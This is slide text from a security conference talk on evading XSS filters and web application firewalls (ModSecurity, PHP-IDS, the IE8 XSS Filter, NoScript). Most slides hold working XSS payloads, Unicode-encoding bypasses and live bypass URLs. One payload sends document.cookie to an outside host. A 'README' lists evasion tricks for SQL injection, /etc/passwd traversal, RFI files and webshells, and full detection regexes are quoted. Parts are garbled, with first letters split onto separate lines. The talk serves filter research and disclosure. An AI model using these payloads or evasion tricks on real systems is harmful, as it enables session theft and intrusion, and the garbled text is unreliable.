3. About Us
Eduardo Vela
• ttp://sirdarckcat.net/
h
• ttp://eaea.sirdarckcat.net/es/
h
• ttps://twitter.com/sirdarckcat
h
• oved from .mx to .cn in Spring '09
M
• efinitely does not work for YU WAN MEI http://
d
www.yuwanmei.com/
4. About Us
David Lindsay
• ttp://p42.us
h
• ttp://www.cigital.com
h
• ttps://twitter.com/thornmaker
h
• efinitely does work for Cigital and recently moved to
d
Virginia so that his vote might actually mean
something (as opposed to when he lived in
Massachusetts and Utah)
7. XSS Basics – Helpful Resources
• The Cheat Sheet – http://ha.ckers.org/xss.html -
Robert "RSnake" Hansen
• WASC Script Mapping Project - http://
projects.webappsec.org/f/
ScriptMapping_Release_26Nov2007.html -
Romain Gaucher
• Obligatory (but still useful) OWASP reference -
http://www.owasp.org/index.php/Cross-
Site_Scripting
• tra.ckers.org ? any day now... bug rsnake and
id :)
8. Filter Basics
• Sits between browser and the server (or at one of
the endpoints)
• We're not looking at sanitization methods/
functions
• Usually in detect-mode, not blocking mode. we
make no distinction
• If attack focused, must cover all variations
• If vulnerability focused, must cover all variations
11. HTML Tricks
<object><param name="src" value=
"javascript:alert(0)"></param></object>
• Round about way to assign the src paramater
<object data="javascript:alert(0)">
• Avoids "src" altogether
• Kudos to Alex K. (kuza55) for these
12. HTML Tricks
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
• Few know of isindex tag
• Kudos to Gareth Heyes for these
15. JavaScript Tricks
location='javascript:alert(0)';
location=name;
• Short, no parenthesis for second
• Victim is not actually redirected anywhere so it can
be transparent
• name = window.name
• Downside: attacker controlled website must be
involved
• Downside: persistent XSS is demoted to reflective
XSS
16. JavaScript Tricks
location=location.hash.slice(1); //avoid the #
location=location.hash //FF only
• Payload comes after hash in URL
• Victim website does not see true payload
• No parenthesis in second one
• In FireFox, you can incorporate the hash symbol
as a sharp variable, #0={}
http://victim.com/?
param=";location=location.hash)//#0={};alert(0)
18. JavaScript Tricks
eval(document.referrer.slice(10));
• When attacker controls referrer page
eval(0+location.string) //or 1+location.string
• Use a ternary operator along with fake GET
paramaters, e.g.
0?fake1=1/
*&id=42&name=";eval(1+location.string);"&la
ng=EN&fake2=*/:alert(0)
19. JavaScript Tricks
x setter=eval,x=1
• Execute arbitrary code without quotes or
parenthesis
• FF only
• This notation has been deprecated for years...
22. JavaScript Tricks
(É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å
+µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)
($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''
+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)
• hat, you don't see the alert(1) in there?
w
• o alphanumeric characters, can execute arbitrary
n
JavaScript
• udos to Yosuke Hasegawa
k
28. Other Tricks
?injection=<script+&injection=>alert(1)></script>
• HPP - HTTP Paramater Pollution
• Variations of this can bypass most filters
• Underlying server/application must join
parameters somehow (ASP, ASP.NET on IIS)
• Stefano di Paola and Luca Carettoni recently
presented on HPP at OWASP EU09 - paper at
http://www.owasp.org/images/b/ba/
AppsecEU09_CarettoniDiPaola_v0.8.pdf
29. Other Tricks
<script>var m=<html><a href=”//site”>link</a>
</html></script> // XML inside JS
• ML inside JavaScript
X
<html><title>{alert('xss')}</title></html>
• avaScript inside XML evaluated as JavaScript
J
31. Bugs in Server implementations
Unicode standard is aware of a lot of attacks, and they show
them all in their own website to raise awareness of this issues,
anyway implementations decide to ignore them all.
We will show two examples, anyway almost all implementations
of unicode are wrong in some way or another.
This includes .NET, Python, Perl, and well, pretty much every
APIs and plataforms out there.
We will just scrape the surface of this problem, this will be
presented more deeply in tomorrow's talk:
Chris Weber: Unraveling Unicode
32. Java
Following the standards is for loosers, so java made their own
called Modified Unicode, so they can be left alone on modifying
their code every new unicode release (they forked on unicode
3.0, we are on unicode 5.2 beta now).
So, the main problem in java are overlong unicode chars.
Java do check that the char is a valid unicode sequence, and
throws an exception if it's not. This means that it wont "eat"
other bytes if they don't have the first bit on (making ineffective
the possibility of eating quotes or similar ASCII chars).
Anyway, overlong UTF chars are allowed (against unicode
specification).
33. Java / continued
In general, Unicode is just a way of representing bytes, to let the
parser know that the char information is stored in several bytes.
So, it sets for example, if the char is 11 bits long, then to
represent it, unicode states:
110x xxxx 10xx xxxx
And you should replace x with the bit information. If the char is
16 bits long you use 3 bytes to represent it:
1110 xxxx 10xx xxxx 10xx xxxx
34. Java / continued / 2
In Unicode 3.0 there was no restriction on what the xxx could
represent, so an attacker could send a 0x3C char in several
ways:
As: 0x3C
As: 0xC0 0xBC
As: 0xE0 0x80 0xBC
As: 0xF0 0x80 0x80 0xBC
etc..
UTF-16 only supports 16 bits expansions (and so, Java).
35. Java / continued / 3
But then Unicode realized that allowing so many representations
of the same byte could be a security problem.
So they disallowed overlong chars (aka, only the shortest-form
of a byte was going to be valid unicode, and other would be
considered invalid).
Anyway, not everyone cared about this.
Several implementations of UTF are ignoring this requirement of
unicode 3.1, and so, allow dangerous information to travel in the
byte stream.
36. Java / continued / 4
Java is one of the affected implementations, in their code they
don't do any check to see if the char could be represented with
fewer bytes, meaning that any overlong representation of a byte
will be accepted.
Source is in:
/jdk/src/java/io/DataInputStream.java
%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE
Try it!
37. PHP
Their UTF to Latin implementation is in made in 20 lines.
http://google.com/codesearch/p?
sa=N&cd=3&ct=rc#qImjC_FcnLI/php6.0-200704121630/ext/
xml/xml.c&l=566
That's right, 18 chapters and a couple of hundred pages of
specifications were implemented in 20 lines of code (genius).
Genius-ness example:
unsigned short c; //sizeof(c)==2bytes==16 bits
...
if (c >= 0xf0) { /* four bytes encoded, 21 bits */
c = ((s[0]&7)<<18) | ((s[1]&63)<<12) | ((s[2]&63)<<6)
| (s[3]&63);
s += 4;
pos -= 4;
Who cares about 5 bytes overflow?
38. PHP / continued
That code is also broken, since they just validate if the first bits
are on, but they dont check if the next bit is off, this means that:
xFFxF0x80xBC will be transformed to "<".
Note that the overflow in the first 5 bits allow us to put anything
there. That's not valid unicode and no script or filter will detect
this.
Try it!
http://eaea.sirdarckcat.net/xss.php?unicode&html_xss=%FF
%F0%80%BCscript%FF%F0%80%BEalert%281%29%FF
%F0%80%BC/script%FF%F0%80%BE
39. PHP / continued / 2
This also means that they are only checking the prefix,and then
consuming the 3 bytes that follow the char, meaning?
This:
<a href="xF7"> " onmouseover=alert(1) <b>hover
me me!!!</b> </a>
Will be:
<a href="?" onmouseover=alert(1) <b>hover me
me!!!</b> </a>
Try it!
http://eaea.sirdarckcat.net/xss.php?unicode&html_xss=%3Ca
%20href=%22%F7%22%3E%20%22%20onmouseover=alert
%281%29%20%3Cb%3Ehover%20me%20me!!!%3C/b%3E
%20%3C/a%3E
40. PHP / continued / 3
There are more bugs in PHP's unicode implementation not
discussed here, specially on utf8_encode, and on a minor
degree in iconv and mbstring.
If you do charset conversion you should filter output after
unicode decoding/encoding.
The use of different charsets in DB, Framework, and HTML
output will give you problems.
Unicode is not the only problematic charset, others like:
UTF-7, US-ASCII, BIG-9, etc... are also dangerous.
45. ModSecurity Filters
Most of the XSS filtering occurs in just one filter
• First phase – must match one of these keywords:
@pm jscript onsubmit copyparentfolder javascript meta onmove onkeydown
onchange onkeyup activexobject expression onmouseup ecmascript onmouseover vbsc
ript: <![cdata[ http: settimeout onabort shell: .innerhtml onmousedown onkeypres
s asfunction: onclick .fromcharcode background-image: .cookie ondragdrop onblur
x-javascript mocha: onfocus javascript: getparentfolder lowsrc onresize @import
alert onselect script onmouseout onmousemove background application .execscript
livescript: getspecialfolder vbscript iframe .addimport onunload createtextrange
onload <input
46. ModSecurity Filters
• Second phase – must match this regular
expression:
(?:b(?:(?:typebW*?b(?:textbW*?b
(?:j(?:ava)?|ecma|vb)|applicationbW*?bx-(?:java|vb))script|c(?:opyparentfolde
r|reatetextrange)|get(?:special|parent)folder|iframeb.{0,100}?bsrc)b|on(?:(?:
mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(
?:elec|ubmi)t|(?:un)?load|dragdrop|resize|focus|blur)bW*?=|abortb)|(?:l(?:ows
rcbW*?b(?:(?:java|vb)script|shell|http)|ivescript)|(?:href|url)bW*?b(?:(?:
java|vb)script|shell)|background-image|mocha):|s(?:(?:tylebW*=.*bexpressionb
W*|ettimeoutbW*?)(|rcbW*?b(?:(?:java|vb)script|shell|http):)|a(?:ctivexob
jectb|lertbW*?(|sfunction:))|<(?:(?:bodyb.*?b(?:backgroun|onloa)d|inputb.
*?btypebW*?bimage)b| ?(?:(?:script|meta)b|iframe)|![cdata[)|(?:.(?:(?:e
xecscrip|addimpor)t|(?:fromcharcod|cooki)e|innerhtml)|@import)b)
47. ModSecurity
The filter will catch:
<img src="x:gif" onerror="alert(0)">
but miss:
<img src="x:alert" onerror="eval(src%2b'(0)')">
and
<img src="x:gif" onerror="eval('al'%2b'lert(0)')">
and
<img src="x:gif" onerror="window['alu0065rt']
(0)"></img>
48. ModSecurity
The filter will catch:
";document.write('<img src=http://p42.us/
x.png?'%2bdocument.cookie%2b'>');"
but miss:
";document.write('<img sr'%2b'c=http://p42.us/
x.png?'%2bdocument['cookie']%2b'>');"
49. ModSecurity
• Good for novices to practice against
• Other types of filters (SQLi, Response Splitting,
etc) are just as bad
• Has potential... if filters are strengthened
52. PHP-IDS Advantages
• Attempts to detect all attacks (not just common
attacks).
• Easily catches all basic injections
• Open source - a lot of people "hack it" in their "free
time"
• Well maintained - rule-sets are frequently attacked
and improved
• Codebase supports a lot of encoding algorithms
54. PHP-IDS
• Developed by Mario Heiderich along with Christian
Matthies and Lars H. Strojny
• Aggressive blacklist filtering
• detects all forms of XSS imaginable (and more)
• Each injection is given a score based upon the
number of filters triggered
• Filters have greatly improved over past 2 years
thanks to demo.phpids.org, sla.ckers, and Mario
who frequently updates
55. Filter Examples
• Filters are very targeted
• Has 68 filters in addition to the one below (majority
are for XSS, not all)
https://svn.phpids.org/svn/trunk/lib/IDS/default_filter.xml
(?:,s*(?:alert|showmodaldialog|eval)s*,)|(?::s*eval
s*[^s])|([^:sw,./?+-]s*)?(?<![a-z/_@])(s*return
s*)?(?:(?:documents*.)?(?:.+/)?(?:alert|eval|msgbox|
showmodaldialog|prompt|write(?:ln)?|confirm|dialog|open))
s*(?(1)[^w]|(?:s*[^sw,.@/+-]))|(?:java[s/]*.[s
/]*lang)|(?:ws*=s*news+w+)|(?:&s*w+s*)[^,])|(?:
+[Wd]*news+w+[Wd]*+)|(?:document.w)
69. PHP-IDS
-setTimeout(
1E1+
',aler
t ( /Mario dont go, its fun phpids rocks/ ) + 1E100000 ' )
• Courtesy of Gareth Heyes (maybe he's a
terminator like XSS machine?)
<b "<script>alert(1)</script>">hola</b>
• Courtesy of Eduardo Vela
71. The 3 commandments of the IE filter
1. The Filter must be compatible.
2. The Filter must be secure.
3. The Filter must be performant.
72. Compatibility > Security > Performance
• If its not compatible, users will turn it off.
• If its not performant, users will turn it off.
73. Performance + Compatibility
HTTP/1.0 200 OK
Cache-Control: private, max-age=0
Date: Sun, 11 Jul 2010 01:23:45 GMT
Content-Type: text/html; charset=ISO
Set-Cookie: ASDF=123
Server: Apache
X-XSS-Protection: 0
• If its not compatible, admins will turn it off.
• If its not performant, admins will turn it off.
74. IE8 Filters – How it Works
• Scans outbound requests for key signatures
• If matched, server response is scanned for the
same matching signatures
• If response contains match, response is
neutered i.e. certain char is replaced with # to
prevent injection from working
75. What does this mean?
The filter will protect against the 3 of the most common reflected
XSS vectors:
1. div>$injection</div>
<
2. input value=“$injection”>
<
3. <script>
var a = “$injection”;
</script>
76. Q&A
Why aren't fragmented attacks detected?
Performance, the amount of permutations of each argument and possible vector is
of O(n!), that means that with 10 arguments you need 3628800 operations, and an
attacker could just send thousands of arguments to DoS the filter, also this is not
as common as other attacks.
Why aren't DOM based attacks detected?
Compatibility (JSON probably) and Performance (hook all JS functions will slow IE
even more.. if that's even possible), but it may be possible in the future.
Why aren't non-JS attacks, like <a href...> tags, detected?
Compatibility some websites are vulnerable to XSS by the way they work, and they
need to use this elements. For example, some blogging software allows posts to
be uploaded that contain anchor tags.
77. Q&A / continued
Why aren't attacks to the Intranet detected by default?
The Intranet zone pretty much by definition is a managed environment, unlike the
Internet. That means admins can set group policy to enable the filter in the Local
Intranet zone. [...]The Intranet zone is disabled by default on non-domain
joined machines. -- David Ross
If IE is protecting me against XSS, should I disable all anti-
reflected-XSS protections I have?
</whitehat><blackhat>
YES, of course! please do it.
</blackhat>
78. Bypassing the Filter
We will show the remaining Top 7 reflected XSS attacks and
how you can attack with them.
80. Unfiltered Vectors – Top 7,8,9
Reflected XSS means that the matched attack has to be present
in the HTML source code.
7. ttacks that were filtered incorrectly
A
Demo with weird JS escaping
8. ttacks abusing charset peculiarities
A
Demo with unicode stuff on PHP {0day}
9. ttacks that are not reflected in the same page
A
Demo with java.com
81. Unfiltered Vectors – Top 10
10. Attacks that are made to content not loaded as HTML
Demo with Motorola SBG 900 router that
• changes the DNS servers
• disables the firewall
• makes the admin console public
• changes the admin console password
• removes wireless encryption
• and logs the MAC for cloning {0 day}
And for good measure, this also bypasses NoScript
82. Other Exceptions
* Attacking intranet websites (on domain-joined computers) is
possible (the filter is disabled by default, but admins can turn it
on at any time).
* Websites attacking themselves are still vulnerable, so reflected
xss worms are still possible.
* If you do clickjacking, you can bypass the filter.
Put Demo Here
83. Bypassing the JavaScript based Filter
* assumptions - it's impossible to execute code without () and =
* as far as everyone knew, it WAS impossible to execute without
() and =
* toString, valueOf properties/meaning
DEMO
* we are limited to attacks inside JS strings like:
urchinTracker("/<?=$storeId;?>/newOrder");
84. JavaScript based Bypass
• ---speaker notes---
• Microsoft fixed their code and allowed me to test the fix.
• I tested it and it fixed the issue as best as I can determine.
• You can expect it soon.
Other possible bypasses?
-> It's also possible to run some functions with "new" but it's
nearly impossible to find an attack vector.
new location.reload // wont work
new history.back // wont work
new open // wont work
etc..
85. Attacking with the XSS Filter
Recall: the way the XSS Filter works, is by searching for
dangerous strings in the request and then looking for them in
the response.
If they match, then the filters disable those dangerous strings.
So you can use the filter to disable <style> <meta> <form>
<script> <frame> <iframe> etc in the page, just by appending its
code in the request (and trigger one of the filters)
Demo!!
86. XSS Filters in Other Browsers?
Firefox -> Never! They have CSP and they think that's all they
need.
Firefox + NoScript -> Going on a couple of years now!
Opera, Safari -> No idea!
Chrome -> Maybe!
88. NoScript Advantages
• NoScript users are already security-aware, so they prefer
security over general usability and ease of use.
• NoScript's goals are different from common XSS Filters, it
uses a paranoic point of view.
• NoScript takes leverage on the fact that an attacker is
limited to self containted XSS attacks.
• NoScript is not just a XSS filter, is a security solution for
Firefox.
89. Bypassing the Filter's Rules
As any other filter, it's still possible to bypass NoScript's rules, the following attack
bypassed NoScript's rules:
<a z=%22%23%22x=%26+onmousemove=t=Object(window.name);
({$:%230=t,z:eval(String(%230%23).replace(/@/g,%27%27))}).z//%3E
This was fixed last week: http://tinyurl.com/m4nfs9
http://eaea.sirdarckcat.net/xss.php?html_xss=%3Ca
%20z=%22%23%22x=
%26+onmousemove=t=Object(window.name);
({$:%230=t,z:eval(String(%230%23).replace(/@/g,
%27%27))}).z//%3E
90. This hasn't been fixed! Found 10m ago
find a bypass 10 minutes before the talk!
if I can't.. then.. it doesnt matter haha if I can, notify giorgio haha
<<david: umm... good luck with that Eduardo>>
91. Hacking the Filter
The DoS and pwn on NoScript (for bypassing)
The following example:
http://tinyurl.com/krgd3a
http://eaea.sirdarckcat.net/xss.php?hello=a-very-
long-and-complicated-js-
string&html_xss=<script>alert("pwned");</script>
Will DoS NoScript, and then firefox will kill it, and then your
victim will be redirected to your "pwned" webpage.
92. Same Origin Exception
NoScript wont protect websites from attacking themselves, so
frames pointing to a redirect that sends to the payload wont be
detected by NoScript:
Example: http://tinyurl.com/l5rnyc
http://www.google.com/imgres?imgurl=http://
tinyurl.com/ZWZ8Z4&imgrefurl=http://tinyurl.com/
ZWZ8Z4
and http://tinyurl.com/ZWZ8Z4 redirects to
https://www.google.com/adsense/g-app-single-1.do?
websiteInfoInput.uri=ZWZ8Z4&contactInput.asciiNameInp
ut.fullName=<script>
93. Tribute to the stupid IDS
Thanks to pretty much every
other WAF vendor out there...
94. README
Follow this simple rules and a lot of IDS wont detect your
attacks!
Victims include:
REDACTED
"OMG I can't believe it is so easy!"
95. Rule Number 1
For JS-XSS probing, stop using alert('xss') you should now use
prompt('xss').
This will bypass:
-> dotDefender
96. Rule Number 2
Dont do <script>, do <ScRIPT x src=//0x.lv?
This will bypass:
lots
97. Rule Number 3
For blind SQL injections stop using ' or 1=1-- -, you should now
use ' or 2=2-- -
This will bypass:
lots
98. Rule Number 4
Dont do /etc/passwd do /etc/asdf/../passwd
This will bypass:
lots
99. Rule Number 5
Dont call r57.txt your RFI file, call it lolcatz.txt
This will bypass:
lots
100. Rule Number 6
Dont call your webshell c99.php/shell.php/cmd.php, call it
d98.php
This will bypass:
lots
101. Disclaimer
If you are a vendor of one of these products, I suggest you to
spend the money you would use suing us, to hire someone that
knows a little more about security.
kthxbye
102. Conclusions
• For Internet Explorer, use IE-8, and enable the XSS Filter
• If you can use Firefox, use Firefox+NoScript
• If you need an IDS for web-threats {xss/sqli/etc}:
o don't use mod_security until filters are better
o use PHP-IDS
• For sanitizing HTML, use HTMLPurifier/Antisamy, or use
templating systems!
• If you have build/maintain an IDS/WAF, set up a demo site
where the filters can be tested and bypasses submitted,
please...
• Don't trust your IDS, it can and will be bypassed!
103. Thanks
Thanks goes to many for helping us with this presentation
including:
• all the slackers at sla.ckers.org, RSnake, ID
• David Ross, Mario Heiderich, Giorgio Maone
• Kuza K, Stephano Di Paola, Gareth Heyes
• Ping Look, everyone else with BlackHat
• Everyone here for attending! :)